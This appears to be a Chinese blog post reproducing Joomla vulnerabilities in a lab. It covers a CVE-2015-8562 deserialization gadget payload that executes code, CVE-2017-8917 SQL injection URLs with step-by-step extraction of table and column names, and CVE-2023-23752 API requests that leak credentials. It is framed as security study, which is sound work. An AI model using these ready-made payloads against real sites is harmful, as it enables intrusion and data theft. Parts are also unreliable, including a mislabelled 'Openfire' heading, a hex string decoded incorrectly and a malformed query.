
Joomla是一款免费开源的内容管理系统。 全球约2.8%(2018年数据)的网站为Joomla建设,Joomla,Wordpress,Drupal为全球排名前3的CMS系统。 Joomla以安全稳定著称,一直备受学校,政府,大型公司的青睐。 是一款企业级CMS解决方案。
目录结构

CVE-2015-8562 反序列化漏洞
漏洞产生原因
PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。
影响版本
Joomla 1.5.x, 2.x, and 3.x before 3.4.6
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞复现
1.首先我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie
复现步骤就是先不带User-Agent: 和Cookie: 去请求一次,然后复制服务端返回的Cookie:

然后构造POC
https://onlinephp.io/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

复制poc
主要就是这个𝌆
但不知各位是否还记得当年wordpress出过的一个XSS( http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html ),
当时就是在插入数据库的时候利用"𝌆"(%F0%9D%8C%86)字符将utf-8的字段截断了。
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆 要发包两次
第一次发包,脏数据进入Mysql数据库。
然后同样的包再发一次,我们的代码被执行:

复现失败-应该是靶场环境变了。
CVE-2017-8917
1 漏洞概述
Joomla是一个基于PHP的内容管理系统(CMS),广泛应用于各类网站。2017年,Joomla 3.7.0版本被发现存在SQL注入漏洞(CVE-2017-8917),攻击者可以利用该漏洞对数据库进行未授权查询或操作,可能导致数据泄露、篡改甚至删除。
2 影响范围
Joomla 3.7.0版本
3 漏洞原理
该漏洞主要源于Joomla 3.7.0版本中对用户输入处理不当,导致攻击者可以在特定条件下向SQL查询中注入恶意代码。具体来说,漏洞存在于libraries/src/User/User.php文件中的load()方法,当用户登录时,会调用此方法来加载用户信息。然而,该方法未能充分过滤用户输入,从而导致了SQL注入的发生。
网站的注入点,访问此URL可以显示这个站点所有自定义字段的列表。程序会取list[fullording]后面的值,经过过滤后拼接到SQL语句中order by后,形成完整的查询语句,对自定义的字段进行排序。但由于过滤不严格,仅仅对一些特殊字符如",',\n,\r等进行了过滤,这就导致了注入。通过向这个参数传送特殊构造的SQL语句,可以执行我们想要的SQL查询,得到数据库中的内容
http://192.168.100.104:8080/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=
order by 注入,在MySQL中,order by后面可以跟三种形式。其中,我们就是利用构造表达式来完成注。
列名(字符串,表中存在的列)
位置(整数,指定哪一列)
表达式(比如SQL的函数,如updatexml(),rand(),extravalue(),SLEEP()等)
基于时间的注入
构造以下语句,发现提交参数后,页面响应时间延长。证明构造的语句成功执行。后台程序没有对语句进行过滤转义等,我们可以进一步构造语句,获取数据
if(1=0,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
基于报错的注入
构造以下语句。updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数,这个函数的第一个参数指明lXML对象的名称,第二个参数为XPATH字符串,如果语法不对,就会保错,第三个参数为对XML进行更新的数据。我们就是要利用第二个参数,构造错误的XPATH字符串,通过报错信息来获取数据。可以看到,在保存信息中包含了user()函数的返回结果,注入成功
updatexml(1,concat(0x3a,user(),0x3a),1);http://192.168.100.104:8080/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3a,user(),0x3a),1);
报错信息-显示user()
其他会报错的函数,如extractvalue(),也是注入的一种手段,和updatexml()效果相同,都是因为回显错误信息,泄漏了数据
extractvalue(666,concat(0x3a,version(),0x3a))
之前的一个语句中存在错误
updatexml(0x23,concat(1,user()),1)这里的参数含义如下:
0x23: 十六进制形式的#,作为 XML 的路径参数。concat(1,user()): 尝试获取当前数据库用户。1: 用作替换节点内容的参数。
MySQL 在处理 updatexml() 时会检查参数的合法性:
第一个参数:必须是有效的 XML 文档或路径,否则会报错。
第二个参数:需要是合法的 XPath 表达式。
第三个参数:可以是任何值。
如果 0x23 并非合法 XML 或 XPath 表达式,则会抛出错误。
错误原因可能有以下几点:
参数无效:
0x23并不是一个有效的 XML 文档或路径。
MySQL 版本限制:
在较新的 MySQL 版本中,
updatexml()函数对参数验证更加严格。
SQL 注入点过滤:
Joomla 的参数过滤机制可能对你的输入进行了转义或修改。
错误信息中的内容可以帮助确认原因。如果你得到如下错误:
XPATH syntax error:表示 XPath 表达式不合法。You have an error in your SQL syntax:表明 SQL 语法不符合 MySQL 要求。
修改语句并重试
updatexml(1,concat(0x7e,(user()),0x7e),1)尝试使用合法的 XPath 表达式和参数构造 payload,例如:
0x7e是~的十六进制表示。包裹
user()的结果,使其作为 XML 错误输出的一部分返回。
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,(user()),0x7e),1)
获取表名
获取数据库表名,要构造攻击语句获取数据,我们首先要知道数据库中存储重要数据的表的名称。在MySQL中,information_schema数据库专门存储了MySQL自己数据库的元数据。我们可以利用这个数据库中的tables表来获取表名。因为查询结果中有多行会注入失败,所以只能一行一行的获取,这样手动获取表名太麻烦,我们可以使用burpsuite中的Intruder工具,Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。在本次实验中,我们用Intruder工具枚举参数值,不断修改LIMIT语句第一个参数值,即返回记录的偏移量,然后在response中设置正则匹配,提取表名及所属数据库。这样可以获取到所有表名
UpdateXML(2, concat(0x3a,(SELECT(concat(TABLE_SCHEMA,0x3a,TABLE_NAME))FROM(information_schema.tables) LIMIT 0,1),0x3a),1)
information_schema:CHARACTER_SE
查询结果有长度的限制
有俩方法
一个是分段截取,就是第一次截取前30个字符,第二次截取后30个字符
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT SUBSTRING(concat(TABLE_SCHEMA,0x3a,TABLE_NAME),1,30) FROM information_schema.tables LIMIT 0,1),0x3a),1)
500 XPATH syntax error: ':information_schema:CHARACTER_S:'http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT SUBSTRING(concat(TABLE_SCHEMA,0x3a,TABLE_NAME),31,30) FROM information_schema.tables LIMIT 0,1),0x3a),1)
500 XPATH syntax error: ':ETS:'从结果来看,你已经成功通过分段的方式提取到了表名:
第一段:
information_schema:CHARACTER_S数据库名:
information_schema表名(部分):
CHARACTER_S
第二段:
ETS表名的后续部分:
ETS
完整表名CHARACTER_SETS
这是 information_schema 数据库中存储字符集相关信息的表CHARACTER_SETS
在获取数据库表名时,发现有一些不足。
获取到的表名在返回时前缀被屏蔽,而且查询结果有长度的限制,只能看到16字节内的字符。
我们先解决第一个问题,使用下列语句,使用hex()函数,将字符串转换为16进制的表示形式,在本地又重新转换为字符串,这样表名的前缀就不会被屏蔽,可以得到完整的表名
UpdateXML(2, concat(0x3a,(SELECT(HEX(6A5F66696E6465725F6C696E6B735F7))FROM(information_schema.CHARACTER_SE) LIMIT 85,1),0x3a),1)http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,%20concat(0x3a,(SELECT(HEX(TABLE_NAME))FROM(information_schema.tables)%20LIMIT%2085,1),0x3a),1)
6A5F66696E6465725F6C696E6B735F7
解码十六进制字符串
将 6A5F66696E6465725F6C696E6B735F7 解码为 ASCII 字符串,可以通过 Python 等工具进行:
hex_string = "6A5F66696E6465725F6C696E6B735F7"
decoded_string = bytes.fromhex(hex_string).decode('utf-8')
print(decoded_string)结果为:j_fin_der_link
获取列名
解决了获取表名不完整的问题后,我们可以尝试根据表名获取对应表的所有列名。由于程序屏蔽了单引号,我们不能使用常规的字符串条件如 TABLE_NAME='users' 进行判断。所以我们使用LIKE操作符代替,LIKE操作符支持16进制参数,可以将目标表名字符串转换为16进制数值,放在LIKE语句后充当条件,这样,查询结果就会返回目标表的所有列名。我们还是用burpsuite来循环参数来获取所有列名
UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME))FROM(information_schema.COLUMNS) WHERE TABLE_NAME LIKE 0x6A5F66696E6465725F6C696E6B735F7 LIMIT 0,1),0x3a),1)修改后的注入语句
如果你之前获得的表名是 6A5F66696E6465725F6C696E6B735F7,那么注入语句应如下
UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 0,1),0x3a),1)构造注入 URL: 将构造的 SQL 注入语句嵌入到 URL 中:
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 0,1),0x3a),1)获取返回结果:
如果返回的是类似
:column_name:的结果,表示表中存在列名column_name。你可以修改
LIMIT参数来获取下一列名,或者通过 Burp Suite 自动化枚举所有列名。
枚举所有列:
修改
LIMIT 0,1为LIMIT 1,1、LIMIT 2,1等,逐步获取表中的所有列名。例如:
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 1,1),0x3a),1)自动化操作(使用 Burp Suite Intruder):
使用 Burp Suite Intruder 自动化攻击,枚举
LIMIT的偏移量(例如从 0 到 100),逐个获取表的列名。
CVE-2023-23752
一.Openfire简介
Joomla是一个免费的开源内容管理系统(CMS),允许用户构建网站和在线应用程序。它于 2005 年首次发布,此后成为最受欢迎的 CMS 平台之一,为全球数百万个网站提供支持。
二.漏洞简述
在 Joomla! 4.0.0 到 4.2.7 中发现了一个问题。不正确地访问检查允许对 Web 服务终结点进行未经授权的访问。
三.漏洞原理
CVE-2023-23752 是身份验证绕过,导致 Joomla 信息泄露。
四.影响版本
4.0.0 <= Joomla <= 4.2.7

=======================
根目录的index.php (用户访问文章)
根目录的administrator/index.php (管理员管理)
根目录的api/index.php (开发者爱好的Rest API)
=======================
未授权的接口正是第三个入口,
因此受影响范围为 Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)
1.漏洞利用
例如,通过以下POC1公开所有配置,包括MySQL用户名和密码:
POC1(GET)
http://your-ip:8080/api/index.php/v1/config/application?public

POC2(GET)
http://your-ip:8080/api/index.php/v1/users?public=true

通过以以上POC公开所有用户信息。
引自
https://www.cnblogs.com/arrest/articles/17660026.html
https://www.jianshu.com/p/76451380b129
-.-
评论区